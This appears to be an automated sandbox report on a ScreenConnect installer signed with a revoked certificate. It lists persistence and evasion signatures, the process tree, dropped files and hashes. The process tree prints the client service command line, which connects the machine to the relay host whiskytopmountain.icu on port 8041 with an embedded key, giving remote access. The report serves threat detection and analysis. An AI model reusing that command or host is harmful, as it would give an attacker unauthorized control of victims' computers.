Analysis

  • max time kernel
    148s
  • max time network
    135s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    27/08/2026, 12:26

General

  • Target
    ScreenConnect.ClientSetup.msi
  • Size 12.8MB
  • Sample260827-pmlamsvapf
  • SHA256 b8f9da6020b27c4884a79f684e309a14b861f406da4fb3f4b49731455c17d797
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:4624
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4868
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 9BAF16E1CFC14E3533F6D8CF9965E896 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:696
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI7797.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240744703 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4860
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:3292
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 870C952AA05E7052781B2CB2B1391600
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:1928
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 2128DFF17AD2E529DF9A584B2C6A96F2 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:3408
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:2724
    • C:\Program Files (x86)\ScreenConnect Client (ed65b3197f33d7db)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (ed65b3197f33d7db)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=whiskytopmountain.icu&p=8041&s=937a0114-457a-4f9c-9784-0117cea3d49b&k=BgIAAACkAABSU0ExAAgAAAEAAQAdPsa3RFgkUarBHjpqVfLo7wVv2Dn8b0DslIBERpi4%2fhhO%2f0zCCtHImK8U0CYtgxIndEE23DmJxK07qU3TwXB4J7JIkYcPf%2f7VugZsi%2fft0t9Lxx4WudsR9aVeIsYC74BdTRMDv34u34gZAdJTBxOHLvNahrgiikuYNVWrxKzh9nsLwqTiBtvHzF%2f2M6RvQ4XZ46ulfCZvkvBK%2bLUzE3oFrtoDSb1H3G6cjK1VykJgHtxyWAw4KFCwjEDa4wRjr%2fjuv5gjMO9Bsla%2fUGufTHsv8Mno07F4M15POdSE2IzRBpwJULQxtTw8teAm%2fJ70URlKZbfOdOq4iO25c3IZl9Ox"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4684
      • C:\Program Files (x86)\ScreenConnect Client (ed65b3197f33d7db)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (ed65b3197f33d7db)\ScreenConnect.WindowsClient.exe" "RunRole" "4fe92f16-b3e8-4211-a783-8a42d72b81df" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:912
      • C:\Program Files (x86)\ScreenConnect Client (ed65b3197f33d7db)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (ed65b3197f33d7db)\ScreenConnect.WindowsClient.exe" "RunRole" "b2e8552f-b6df-4a42-8b7a-a96a3522ff10" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:3648

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          e59e44c.rbs

          • Path C:\Config.Msi\e59e44c.rbs
          • Size 214KB
          • SHA256 0fb78be5ce336942bda94d80a53be717089a77b9633f6154c76aaa9e3e84d372
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (ed65b3197f33d7db)\Client.Override.en-US.resources
          • Size 245B
          • SHA256 4aa60e71e2a95cff9837b2dedddfa5a2d6e2e685826d1ff8019b9b3b9a02f4cf
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (ed65b3197f33d7db)\Client.Override.resources
          • Size 252B
          • SHA256 8ff8361de87b080209eb3d8566a262962e8ace93f13eeba9a3f3a0e3fc5fa33e
          • MD5 SHA1 SHA512 TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (ed65b3197f33d7db)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (ed65b3197f33d7db)\Client.resources
          • Size 28KB
          • SHA256 c84db518b34eb73426b7df43bd00cf3834ea6e44422d0ae7e0af9fc0d97453f6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (ed65b3197f33d7db)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (ed65b3197f33d7db)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (ed65b3197f33d7db)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (ed65b3197f33d7db)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (ed65b3197f33d7db)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (ed65b3197f33d7db)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (ed65b3197f33d7db)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (ed65b3197f33d7db)\app.config
          • Size 1KB
          • SHA256 a3778aad9f23ed465db4cc5e0dc3cfd780e2e0314db001dcd469090e0eb6299e
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (ed65b3197f33d7db)\system.config
          • Size 945B
          • SHA256 d87c9e0bea16c8402c770452b028f0dd09a5936e2b75e150957756e4de0ea85d
          • MD5 SHA1 SHA512 TLSH

          MSI7797.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI7797.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI7797.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI7797.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI7797.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI7797.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSIEBAF.tmp

          • Path C:\Windows\Installer\MSIEBAF.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e59e44b.msi

          • Path C:\Windows\Installer\e59e44b.msi
          • Size 12.8MB
          • SHA256 b8f9da6020b27c4884a79f684e309a14b861f406da4fb3f4b49731455c17d797
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 0866611150fcdde7f914c69454f197598517b506914cf165da9ba4989c50f017
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {0837e9c3-a1c1-4d7c-a5a8-23eadf3444de}_OnDiskSnapshotProp

          • Path \??\Volume{c61fa831-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{0837e9c3-a1c1-4d7c-a5a8-23eadf3444de}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 83c41d72c39f922f29c28584fbf227a5df1ec33ab1299c4a76d8c3fc5b557230
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/912-116-0x0000000000EA0000-0x0000000000F38000-memory.dmp

          memory/912-122-0x0000000001930000-0x0000000001948000-memory.dmp

          memory/912-121-0x0000000001790000-0x00000000017A8000-memory.dmp

          memory/912-120-0x000000001C3A0000-0x000000001C528000-memory.dmp

          memory/912-119-0x000000001C1F0000-0x000000001C39C000-memory.dmp

          memory/912-118-0x000000001BFB0000-0x000000001C03C000-memory.dmp

          memory/912-117-0x00000000018F0000-0x0000000001926000-memory.dmp

          memory/4684-102-0x00000000049D0000-0x0000000004A62000-memory.dmp

          memory/4684-75-0x0000000001CF0000-0x0000000001D08000-memory.dmp

          memory/4684-101-0x00000000048F0000-0x0000000004926000-memory.dmp

          memory/4684-104-0x0000000004930000-0x0000000004971000-memory.dmp

          memory/4684-106-0x0000000004BC0000-0x0000000004C95000-memory.dmp

          memory/4684-97-0x00000000046F0000-0x0000000004740000-memory.dmp

          memory/4860-18-0x0000000003EF0000-0x0000000003F1E000-memory.dmp

          memory/4860-22-0x0000000003F30000-0x0000000003F3A000-memory.dmp

          memory/4860-26-0x0000000005FE0000-0x000000000606C000-memory.dmp

          memory/4860-30-0x0000000006380000-0x000000000652C000-memory.dmp

          memory/4860-31-0x0000000006AF0000-0x00000000070AA000-memory.dmp